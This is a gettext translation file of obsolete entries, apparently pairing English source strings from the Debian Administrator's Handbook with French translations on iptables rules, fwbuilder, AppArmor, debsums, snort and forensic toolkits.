#~ msgstr "<literal>REDIRECT</literal> (seulement dans la table <literal>nat</literal>) : rediriger un paquet vers un port particulier du pare-feu lui-même ; action notamment utile pour mettre en place un mandataire (ou proxy) web transparent (il s'agit d'un service pour lequel aucune configuration côté client n'est nécessaire, puisque le client a l'impression de se connecter directement au destinataire alors que ses échanges avec le serveur transitent systématiquement par le mandataire)."
#~ msgid "Other actions, particularly those concerning the <literal>mangle</literal> table, are outside the scope of this text. The <citerefentry><refentrytitle>iptables</refentrytitle> <manvolnum>8</manvolnum></citerefentry> and <citerefentry><refentrytitle>ip6tables</refentrytitle> <manvolnum>8</manvolnum></citerefentry> have a comprehensive list."
#~ msgstr "D'autres actions, concernant davantage la table <literal>mangle</literal>, ne sont pas mentionnées ici. Vous en trouverez la liste exhaustive dans les pages de manuel <citerefentry><refentrytitle>iptables</refentrytitle><manvolnum>8</manvolnum></citerefentry> et <citerefentry><refentrytitle>ip6tables</refentrytitle><manvolnum>8</manvolnum></citerefentry>."
#~ msgid "The <command>iptables</command> and <command>ip6tables</command> commands allow manipulating tables, chains and rules. Their <literal>-t <replaceable>table</replaceable></literal> option indicates which table to operate on (by default, <literal>filter</literal>)."
#~ msgstr "Les commandes <command>iptables</command> et <command>ip6tables</command> permettent de manipuler les tables, les chaînes et les règles. L'option <literal>-t <replaceable>table</replaceable></literal> indique la table sur laquelle opérer (par défaut, c'est <literal>filter</literal>)."
#~ msgid "Commands"
#~ msgstr "Les commandes"
#~ msgid "The <literal>-N <replaceable>chain</replaceable></literal> option creates a new chain. The <literal>-X <replaceable>chain</replaceable></literal> deletes an empty and unused chain. The <literal>-A <replaceable>chain</replaceable> <replaceable>rule</replaceable></literal> adds a rule at the end of the given chain. The <literal>-I <replaceable>chain</replaceable> <replaceable>rule_num</replaceable> <replaceable>rule</replaceable></literal> option inserts a rule before the rule number <replaceable>rule_num</replaceable>. The <literal>-D <replaceable>chain</replaceable> <replaceable>rule_num</replaceable></literal> (or <literal>-D <replaceable>chain</replaceable> <replaceable>rule</replaceable></literal>) option deletes a rule in a chain; the first syntax identifies the rule to be deleted by its number, while the latter identifies it by its contents. The <literal>-F <replaceable>chain</replaceable></literal> option flushes a chain (deletes all its rules); if no chain is mentioned, all the rules in the table are deleted. The <literal>-L <replaceable>chain</replaceable></literal> option lists the rules in the chain. Finally, the <literal>-P <replaceable>chain</replaceable> <replaceable>action</replaceable></literal> option defines the default action, or “policy”, for a given chain; note that only standard chains can have such a policy."
#~ msgstr "L'option <literal>-N <replaceable>chaîne</replaceable></literal> crée une nouvelle chaîne ; l'option <literal>-X <replaceable>chaîne</replaceable></literal> supprime une chaîne vide et inutilisée. L'option <literal>-A <replaceable>chaîne</replaceable> <replaceable>règle</replaceable></literal> ajoute une règle à la fin de la chaîne indiquée. L'option <literal>-I <replaceable>chaîne</replaceable> <replaceable>numrègle</replaceable> <replaceable>règle</replaceable></literal> insère une règle avant la règle numérotée <replaceable>numrègle</replaceable>. L'option <literal>-D <replaceable>chaîne</replaceable> <replaceable>numrègle</replaceable></literal> ou <literal>-D <replaceable>chaîne</replaceable> <replaceable>règle</replaceable></literal> supprime une règle dans la chaîne (la première syntaxe l'identifie par son numéro et la seconde par son contenu). L'option <literal>-F <replaceable>chaîne</replaceable></literal> supprime toutes les règles de la chaîne (si celle-ci n'est pas mentionnée, elle supprime toutes les règles de la table). L'option <literal>-L <replaceable>chaîne</replaceable></literal> affiche le contenu de la chaîne. Enfin, l'option <literal>-P <replaceable>chaîne</replaceable> <replaceable>action</replaceable></literal> définit l'action par défaut pour la chaîne donnée (seules les chaînes standards peuvent en avoir une)."
#~ msgid "Rules"
#~ msgstr "Les règles"
#~ msgid "Each rule is expressed as <literal><replaceable>conditions</replaceable> -j <replaceable>action</replaceable> <replaceable>action_options</replaceable></literal>. If several conditions are described in the same rule, then the criterion is the conjunction (logical <emphasis>and</emphasis>) of the conditions, which is at least as restrictive as each individual condition."
#~ msgstr "Chaque règle s'exprime sous la forme <literal><replaceable>conditions</replaceable> -j <replaceable>action</replaceable> <replaceable>options_de_l'action</replaceable></literal>. En écrivant bout à bout plusieurs conditions dans la même règle, on en produit la conjonction (elles sont liées par des <emphasis>et</emphasis> logiques), donc une condition plus restrictive."
#~ msgid "The <literal>-p <replaceable>protocol</replaceable></literal> condition matches the protocol field of the IP packet. The most common values are <literal>tcp</literal>, <literal>udp</literal>, <literal>icmp</literal>, and <literal>icmpv6</literal>. Prefixing the condition with an exclamation mark negates the condition, which then becomes a match for “any packets with a different protocol than the specified one”. This negation mechanism is not specific to the <literal>-p</literal> option and it can be applied to all other conditions too."
#~ msgstr "La condition <literal>-p <replaceable>protocole</replaceable></literal> sélectionne selon le champ protocole du paquet IP, dont les valeurs les plus courantes sont <literal>tcp</literal>, <literal>udp</literal>, <literal>icmp</literal> et <literal>icmpv6</literal>. Préfixer la condition par un point d'exclamation inverse la condition (qui correspond alors à tous les paquets n'ayant pas le protocole indiqué). Cette manipulation est possible pour toutes les autres conditions énoncées ci-dessous."
#~ msgid "The <literal>-s <replaceable>address</replaceable></literal> or <literal>-s <replaceable>network/mask</replaceable></literal> condition matches the source address of the packet. Correspondingly, <literal>-d <replaceable>address</replaceable></literal> or <literal>-d <replaceable>network/mask</replaceable></literal> matches the destination address."
#~ msgstr "La condition <literal>-s <replaceable>adresse</replaceable></literal> ou <literal>-s <replaceable>réseau/masque</replaceable></literal> vérifie l'adresse source du paquet ; <literal>-d <replaceable>adresse</replaceable></literal> ou <literal>-d <replaceable>réseau/masque</replaceable></literal> en est le pendant pour l'adresse de destination."
#~ msgid "The <literal>-i <replaceable>interface</replaceable></literal> condition selects packets coming from the given network interface. <literal>-o <replaceable>interface</replaceable></literal> selects packets going out on a specific interface."
#~ msgstr "La condition <literal>-i <replaceable>interface</replaceable></literal> sélectionne les paquets provenant de l'interface réseau indiquée ; <literal>-o <replaceable>interface</replaceable></literal> sélectionne les paquets en fonction de leur interface réseau d'émission."
#~ msgid "There are more specific conditions, depending on the generic conditions described above. For instance, the <literal>-p tcp</literal> condition can be complemented with conditions on the TCP ports, with clauses such as <literal>--source-port <replaceable>port</replaceable></literal> and <literal>--destination-port <replaceable>port</replaceable></literal>."
#~ msgstr "D'autres conditions plus spécifiques existent, qui dépendent des conditions génériques déjà définies. La condition <literal>-p tcp</literal> peut par exemple être accompagnée de conditions sur les ports TCP avec <literal>--source-port <replaceable>port</replaceable></literal> et <literal>--destination-port <replaceable>port</replaceable></literal>."
#~ msgid "The <literal>--state <replaceable>state</replaceable></literal> condition matches the state of a packet in a connection (this requires the <command>ipt_conntrack</command> kernel module, for connection tracking). The <literal>NEW</literal> state describes a packet starting a new connection; <literal>ESTABLISHED</literal> matches packets belonging to an already existing connection, and <literal>RELATED</literal> matches packets initiating a new connection related to an existing one (which is useful for the <literal>ftp-data</literal> connections in the “active” mode of the FTP protocol)."
#~ msgstr "L'option <literal>--state <replaceable>état</replaceable></literal> indique le statut du paquet dans une connexion (le module <command>ipt_conntrack</command>, qui implémente le suivi des connexions, lui est nécessaire). L'état <literal>NEW</literal> désigne un paquet qui débute une nouvelle connexion. L'état <literal>ESTABLISHED</literal> concerne les paquets d'une connexion existante et l'état <literal>RELATED</literal> les paquets d'une nouvelle connexion liée à une connexion existante (c'est le cas des connexions <literal>ftp-data</literal> d'une session <literal>ftp</literal> en mode \"actif\")."
#~ msgid "The previous section lists available actions, but not their respective options. The <literal>LOG</literal> action, for instance, has the following options:"
#~ msgstr "La section précédente détaille la liste des actions possibles, mais pas les options qui leur sont associées. L'action <literal>LOG</literal> dispose ainsi de plusieurs options visant à  :"
#~ msgid "<literal>--log-level</literal>, with default value <literal>warning</literal>, indicates the <command>syslog</command> severity level;"
#~ msgstr "indiquer le niveau de sévérité du message à <command>syslog</command> (<literal>--log-level</literal>, dont la valeur par défaut est <literal>warning</literal>) ;"
#~ msgid "<literal>--log-prefix</literal> allows specifying a text prefix to differentiate between logged messages;"
#~ msgstr "préciser un préfixe textuel pour différencier les messages (<literal>--log-prefix</literal>) ;"
#~ msgid "<literal>--log-tcp-sequence</literal>, <literal>--log-tcp-options</literal> and <literal>--log-ip-options</literal> indicate extra data to be integrated into the message: respectively, the TCP sequence number, TCP options, and IP options."
#~ msgstr "indiquer les données à intégrer dans le message (<literal>--log-tcp-sequence</literal> pour le numéro de séquence TCP, <literal>--log-tcp-options</literal> pour les options TCP et <literal>--log-ip-options</literal> pour les options IP)."
#~ msgid "The <literal>DNAT</literal> action provides the <literal>--to-destination <replaceable>address</replaceable>:<replaceable>port</replaceable></literal> option to indicate the new destination IP address and/or port. Similarly, <literal>SNAT</literal> provides <literal>--to-source <replaceable>address</replaceable>:<replaceable>port</replaceable></literal> to indicate the new source IP address and/or port."
#~ msgstr "L'action <literal>DNAT</literal> dispose de l'option <literal>--to-destination <replaceable>adresse</replaceable>:<replaceable>port</replaceable></literal> pour indiquer la nouvelle adresse IP et/ou le nouveau port de destination. De la même manière, l'action <literal>SNAT</literal> dispose de l'option <literal>--to-source <replaceable>adresse</replaceable>:<replaceable>port</replaceable></literal> pour indiquer la nouvelle adresse et/ou le nouveau port source."
#~ msgid "The <literal>REDIRECT</literal> action (only available if NAT is available) provides the <literal>--to-ports <replaceable>port(s)</replaceable></literal> option to indicate the port, or port range, where the packets should be redirected."
#~ msgstr "L'action <literal>REDIRECT</literal> (seulement disponible si le NAT est disponible) a une option <literal>--to-ports <replaceable>port(s)</replaceable></literal> pour indiquer le port ou l'intervalle de ports vers lesquels rediriger les paquets."
#~ msgid "Creating Rules"
#~ msgstr "Créer les règles"
#~ msgid "Each rule creation requires one invocation of <command>iptables</command>/<command>ip6tables</command>. Typing these commands manually can be tedious, so the calls are usually stored in a script so that the same configuration is set up automatically every time the machine boots. This script can be written by hand, but it can also be interesting to prepare it with a high-level tool such as <command>fwbuilder</command>."
#~ msgstr "Il faut invoquer <command>iptables</command>/<command>ip6tables</command> une fois par règle à créer ; c'est pourquoi on consigne habituellement tous les appels à cette commande dans un fichier de script pour mettre en place la même configuration à chaque redémarrage de la machine. On peut écrire ce script à la main mais il est souvent intéressant de le préparer à l'aide d'un outil de plus haut niveau, tel que <command>fwbuilder</command>."
#~ msgid "The principle is simple. In the first step, one needs to describe all the elements that will be involved in the actual rules:"
#~ msgstr "Son principe est simple. Dans une première étape, il faut décrire tous les éléments susceptibles d'intervenir dans les différentes règles :"
#~ msgid "the firewall itself, with its network interfaces;"
#~ msgstr "le pare-feu et ses interfaces réseau ;"
#~ msgid "the networks, with their corresponding IP ranges;"
#~ msgstr "les réseaux (et plages d'IP associées) ;"
#~ msgid "the servers;"
#~ msgstr "les serveurs ;"
#~ msgid "the ports belonging to the services hosted on the servers."
#~ msgstr "les ports correspondant aux services hébergés sur les différents serveurs."
#~ msgid "The rules are then created with simple drag-and-drop actions on the objects. A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured."
#~ msgstr "On crée ensuite les règles par simple glisser/déposer des différents objets, quelques menus contextuels servant à modifier la condition (l'inverser, par exemple). Il ne reste qu'à saisir l'action souhaitée et à la paramétrer."
#~ msgid "As far as IPv6 is concerned, one can either create two distinct rulesets for IPv4 and IPv6, or create only one and let <command>fwbuilder</command> translate the rules according to the addresses assigned to the objects."
#~ msgstr "On peut soit créer 2 jeux de règles différents pour IPv4 et IPv6, soit n'en créer qu'un seul et laisser <command>fwbuilder</command> traduire les règles adéquates en fonction des différentes adresses assignées aux objets manipulés."
#~ msgid "Fwbuilder's main window"
#~ msgstr "Fwbuilder en action"
#~ msgid "<primary><command>fwbuilder</command></primary>"
#~ msgstr "<primary><command>fwbuilder</command></primary>"
#~ msgid "<command>fwbuilder</command> can then generate a script configuring the firewall according to the rules that have been defined. Its modular architecture gives it the ability to generate scripts targeting different systems (<command>iptables</command> for Linux, <command>ipf</command> for FreeBSD and <command>pf</command> for OpenBSD)."
#~ msgstr "<command>fwbuilder</command> peut alors générer un script de configuration du pare-feu selon les règles saisies. Son architecture modulaire lui permet de générer des scripts pour les pare-feu de différents systèmes (<command>iptables</command> pour Linux, <command>ipf</command> pour FreeBSD et <command>pf</command> pour OpenBSD)."
#~ msgid ""
#~ "<computeroutput># </computeroutput><userinput>apt install apparmor apparmor-profiles apparmor-utils\n"
#~ "</userinput><computeroutput>[...]\n"
#~ "# </computeroutput><userinput>perl -pi -e 's,GRUB_CMDLINE_LINUX=\"(.*)\"$,GRUB_CMDLINE_LINUX=\"$1 apparmor=1 security=apparmor\",' /etc/default/grub\n"
#~ "</userinput><computeroutput># </computeroutput><userinput>update-grub\n"
#~ "</userinput>"
#~ msgstr ""
#~ "<computeroutput># </computeroutput><userinput>apt install apparmor apparmor-profiles apparmor-utils\n"
#~ "</userinput><computeroutput>[...]\n"
#~ "# </computeroutput><userinput>perl -pi -e 's,GRUB_CMDLINE_LINUX=\"(.*)\"$,GRUB_CMDLINE_LINUX=\"$1 apparmor=1 security=apparmor\",' /etc/default/grub\n"
#~ "</userinput><computeroutput># </computeroutput><userinput>update-grub\n"
#~ "</userinput>"
#~ msgid ""
#~ "\n"
#~ "<computeroutput># </computeroutput><userinput>aa-unconfined</userinput>\n"
#~ "<computeroutput>801 /sbin/dhclient not confined\n"
#~ "890 /sbin/rpcbind not confined\n"
#~ "899 /sbin/rpc.statd not confined\n"
#~ "929 /usr/sbin/sshd not confined\n"
#~ "941 /usr/sbin/avahi-daemon confined by '/usr/sbin/avahi-daemon (complain)'\n"
#~ "988 /usr/sbin/minissdpd not confined\n"
#~ "1276 /usr/sbin/exim4 not confined\n"
#~ "1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined\n"
#~ "1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined\n"
#~ "19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined</computeroutput>\n"
#~ " "
#~ msgstr ""
#~ "\n"
#~ "<computeroutput># </computeroutput><userinput>aa-unconfined</userinput>\n"
#~ "<computeroutput>801 /sbin/dhclient not confined\n"
#~ "890 /sbin/rpcbind not confined\n"
#~ "899 /sbin/rpc.statd not confined\n"
#~ "929 /usr/sbin/sshd not confined\n"
#~ "941 /usr/sbin/avahi-daemon confined by '/usr/sbin/avahi-daemon (complain)'\n"
#~ "988 /usr/sbin/minissdpd not confined\n"
#~ "1276 /usr/sbin/exim4 not confined\n"
#~ "1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined\n"
#~ "1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined\n"
#~ "19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined</computeroutput>\n"
#~ " "
#~ msgid "The program wants to create the <filename>/run/dhclient-eth0.pid</filename> file. If we allow the creation of this specific file only, the program will not work when the user will use it on another network interface. Thus we select “New” to replace the filename with the more generic “/run/dhclient*.pid” before recording the rule with “Allow”."
#~ msgstr "Le programme essaie de créer le fichier <filename>/run/dhclient-eth0.pid</filename>. Si nous autorisons seulement la création de ce fichier, le programme ne fonctionnera plus lorsque l'utilisateur essaiera de l'utiliser sur une autre interface réseau. Nous choisissons donc « New » pour remplacer le nom de fichier par un nom plus générique, « /run/dhclient*.pid », avant d'enregistrer la règle avec « Allow »."
#~ msgid "<emphasis>CAUTION</emphasis> Reference policy not in jessie"
#~ msgstr "<emphasis>ATTENTION</emphasis> Politique de référence absente de Jessie"
#~ msgid "Unfortunately the maintainers of the <emphasis role=\"pkg\">refpolicy</emphasis> source package did not handle release critical bugs on their package and the package got removed from jessie. This means that the <emphasis role=\"pkg\">selinux-policy-*</emphasis> packages are currently not installable in jessie and need to be fetched from another place. Hopefully they will come back in one of the point releases or in jessie-backports. In the meantime, you can grab them from unstable."
#~ msgstr "Les responsables du paquet source <emphasis role=\"pkg\">refpolicy</emphasis> n'ont malheureusement pas pu traiter à temps les bogues critiques du paquet, et ce dernier a donc été supprimé de Jessie. En pratique, cela signifie que les paquets <emphasis role=\"pkg\">selinux-policy-*</emphasis> ne sont pas disponibles dans Jessie, et qu'ils doivent être récupérés depuis une autre distribution. Nous espérons qu'ils reviendront dans une version corrective, ou dans les rétroportages. En attendant, vous pouvez les récupérer dans <emphasis role=\"distribution\">Unstable</emphasis>."
#~ msgid "This sad situation at least proves that SELinux is not very popular in the set of users/developers who are running the development versions of Debian. Thus, if you opt to use SELinux, you should expect the default policy to not work perfectly and you will have to invest quite some time to make it suitable to your specific needs."
#~ msgstr "Ce triste constat montre au moins que SELinux n'est pas très populaire parmi les utilisateurs et développeurs qui se servent des versions de développement de Debian. C'est pourquoi, lorsqu'on choisit d'utiliser SELinux, il faut s'attendre à passer un temps non négligeable à l'adapter à ses besoins spécifiques."
#~ msgid "<literal>SNAT</literal> (only in the <literal>nat</literal> table, therefore only in IPv4 on <emphasis role=\"distribution\">Wheezy</emphasis> — NAT support for IPv6 appeared in the Linux 3.7 kernel): apply <emphasis>Source NAT</emphasis> (extra options describe the exact changes to apply);"
#~ msgstr "<literal>SNAT</literal> (seulement dans la table <literal>nat</literal>, donc seulement en IPv4 sur <emphasis role=\"distribution\">Wheezy</emphasis> — la prise en charge du NAT sur IPv6 est apparu dans le noyau Linux 3.7) : effectuer du <foreignphrase>Source NAT</foreignphrase> (des options précisent les modifications à effectuer) ;"
#~ msgid "Versions of the <emphasis role=\"pkg\">fwbuilder</emphasis> package since <emphasis role=\"distribution\">Squeeze</emphasis> contain both the graphical interface and the modules for each firewall system (these were previously split over several packages, one for each target system):"
#~ msgstr "Depuis <emphasis role=\"distribution\">Squeeze</emphasis>, le paquet <emphasis>fwbuilder</emphasis> contient aussi bien l'interface graphique que les modules pour les différents pare-feu (auparavant, ces derniers étaient répartis en plusieurs paquets — un par système d'exploitation) :"
#~ msgid "If the firewall is meant to protect an intermittent PPP network connection, the simplest way to deploy the script is to install it as <filename>/etc/ppp/ip-up.d/0iptables</filename> (note that only files without a dot in their name are taken into account). The firewall will thus be reloaded every time a PPP connection is established."
#~ msgstr "Si le pare-feu doit protéger une connexion réseau intermittente par PPP, le plus simple est de changer le nom du script de configuration du pare-feu et de l'installer sous <filename>/etc/ppp/ip-up.d/0iptables</filename> (attention, le nom de fichier ne doit pas contenir de point, sinon il ne sera pas pris en compte). Ainsi, il sera rechargé à chaque démarrage d'une connexion PPP."
#~ msgid "<emphasis>TIP</emphasis> Your logs as screen background"
#~ msgstr "<emphasis>ASTUCE</emphasis> Vos logs en fond d'Ă©cran"
#~ msgid "Some administrators like seeing their log messages scroll by in real time; the <command>root-tail</command> command (in the <emphasis role=\"pkg\">root-tail</emphasis>) package can be used to integrate the logs into the background of their graphical desktop. The <command>xconsole</command> program (in the <emphasis>x11-apps</emphasis> package) can also have them scrolling in a small window. Messages are directly taken from <command>syslogd</command> via the <filename>/dev/xconsole</filename> named pipe."
#~ msgstr "Certains administrateurs aiment voir les messages de logs défiler en temps réel. Ils pourront les intégrer dans le fond d'écran de leur bureau graphique avec la commande <command>root-tail</command> (du paquet Debian éponyme). Le programme <command>xconsole</command> (du paquet <emphasis>x11-apps</emphasis>) les fera défiler dans une petite fenêtre ; les messages sont directement issus de <command>syslogd</command> par l'intermédiaire du tube nommé <filename>/dev/xconsole</filename>."
#~ msgid "<primary><command>root-tail</command></primary>"
#~ msgstr "<primary><command>root-tail</command></primary>"
#~ msgid "In addition, the <filename>md5sums</filename> files are stored on the hard disk; a thorough attacker will therefore update these files so they contain the new control sums for the subverted files."
#~ msgstr "D'autre part, les fichiers <filename>md5sums</filename> sont stockés sur le disque dur : un intrus consciencieux modifiera ces fichiers pour leur faire refléter les nouvelles sommes de contrôle des fichiers sur lesquels il sera intervenu."
#~ msgid "The first drawback can be avoided by asking <command>debsums</command> to base its checks on a <filename>.deb</filename> package instead of relying on the <filename>md5sums</filename> file. But that requires downloading the matching <filename>.deb</filename> files first:"
#~ msgstr "On peut contourner le premier inconvénient en demandant à <command>debsums</command> d'utiliser directement un paquet <filename>.deb</filename> pour effectuer le contrôle au lieu de se reposer sur le fichier <filename>md5sums</filename>. Il faut au préalable télécharger les fichiers <filename>.deb</filename> correspondants :"
#~ msgid ""
#~ "\n"
#~ "<computeroutput># </computeroutput><userinput>apt-get --reinstall -d install `debsums -l`</userinput>\n"
#~ "<computeroutput>[ ... ]\n"
#~ "# </computeroutput><userinput>debsums -p /var/cache/apt/archives -g</userinput>\n"
#~ " "
#~ msgstr ""
#~ "\n"
#~ "<computeroutput># </computeroutput><userinput>apt-get --reinstall -d install `debsums -l`</userinput>\n"
#~ "<computeroutput>[ ... ]\n"
#~ "# </computeroutput><userinput>debsums -p /var/cache/apt/archives -g</userinput>\n"
#~ " "
#~ msgid "It is also worth noting that, in its default configuration, <command>debsums</command> automatically generates the missing <filename>md5sums</filename> files whenever a package is installed using APT."
#~ msgstr "En outre, dans sa configuration par défaut, <command>debsums</command> génère automatiquement les fichiers <filename>md5sums</filename> manquants en effectuant l'opération ci-dessus chaque fois que APT est employé pour installer un nouveau paquet."
#~ msgid "Its configuration requires describing the range of addresses that the local network covers. In practice, this means the set of all potential attack targets. Other important parameters can be configured with <command>dpkg-reconfigure snort</command>, including the network interface to monitor. This will often be <literal>eth0</literal> for an Ethernet connection, but other possibilities exist such as <literal>ppp0</literal> for an ADSL or PSTN (<emphasis>Public Switched Telephone Network</emphasis>, or good old dialup modem), or even <literal>wlan0</literal> for some wireless network cards."
#~ msgstr "Son installation demande de préciser la plage d'adresses couverte par le réseau local : il s'agit en réalité d'indiquer toutes les cibles potentielles d'attaques. Il est possible de configurer d'autres paramètres importants en exécutant <command>dpkg-reconfigure snort</command>, notamment l'interface réseau à surveiller. Il s'agit en général d'<literal>eth0</literal> pour une connexion Ethernet, mais on pourra aussi trouver <literal>ppp0</literal> pour une connexion ADSL ou RTC (Réseau Téléphonique Commuté, ou modem classique) voire <literal>wlan0</literal> pour certaines cartes Wi-Fi."
#~ msgid "The <command>snort</command> configuration file (<filename>/etc/snort/snort.conf</filename>) is very long, and the abundant comments describe each directive with much detail. Getting the most out of it requires reading it in full and adapting it to the local situation. For instance, indicating which machine hosts which service can limit the number of incidents <command>snort</command> will report, since a denial of service attack on a desktop machine is far from being as critical as one on a DNS server. Another interesting directive allows storing the mappings between IP addresses and MAC addresses (these uniquely identify a network card), so as to allow detecting <emphasis>ARP spoofing</emphasis> attacks by which a compromised machine attempts to masquerade as another such as a sensitive server."
#~ msgstr "Le fichier de configuration de <command>snort</command> (<filename>/etc/snort/snort.conf</filename>) est très long et ses abondants commentaires y détaillent le rôle de chaque directive. Il est fortement recommandé de le parcourir et de l'adapter à la situation locale pour en tirer le meilleur parti. En effet, il est possible d'y indiquer les machines hébergeant chaque service pour limiter le nombre d'incidents rapportés par <command>snort</command> (un déni de service sur une machine bureautique n'est pas aussi dramatique que sur un serveur DNS). On peut encore y renseigner les correspondances entre adresses IP et MAC (il s'agit d'un numéro unique identifiant chaque carte réseau) pour détecter les attaques par <foreignphrase>ARP-spoofing</foreignphrase> (travestissement d'ARP), qui permettent à une machine compromise de se substituer à une autre (un serveur sensible par exemple)."
#~ msgid "On a small network based around a network hub, there is no such problem, since all machines get all the traffic."
#~ msgstr "Pour un petit réseau doté d'un concentrateur (<foreignphrase>hub</foreignphrase>), le problème ne se pose pas : toutes les machines reçoivent tout le trafic."
#~ msgid "The target object was named <literal>xconsole</literal>."
#~ msgstr "L'objet cible portait le nom de <literal>xconsole</literal>."
#~ msgid "Some of these operations can be made easier with specialized software. In particular, <emphasis>The Coroner Toolkit</emphasis> (in the <emphasis role=\"pkg\">tct</emphasis> package) is a collection of such tools. It includes several tools; amongst these, <command>grave-robber</command> can collect data from a running compromised system, <command>lazarus</command> extracts often interesting data from non-allocated regions on disks, and <command>pcat</command> can copy the memory used by a process; other data extraction tools are also included. <indexterm><primary>The Coroner Toolkit</primary></indexterm>"
#~ msgstr "Il existe des logiciels pour faciliter certaines de ces opérations. Citons notamment <foreignphrase>The Coroner Toolkit</foreignphrase> (Le kit du médecin légiste) fourni par le paquet <emphasis role=\"pkg\">tct</emphasis> : il contient <command>grave-robber</command> qui collecte à chaud des données d'un système compromis, <command>lazarus</command> qui extrait des données des zones non allouées d'un disque, <command>pcat</command> qui effectue une copie de la mémoire utilisée par un processus, ainsi que d'autres outils d'extraction de données. <indexterm><primary>The Coroner Toolkit</primary></indexterm>"
|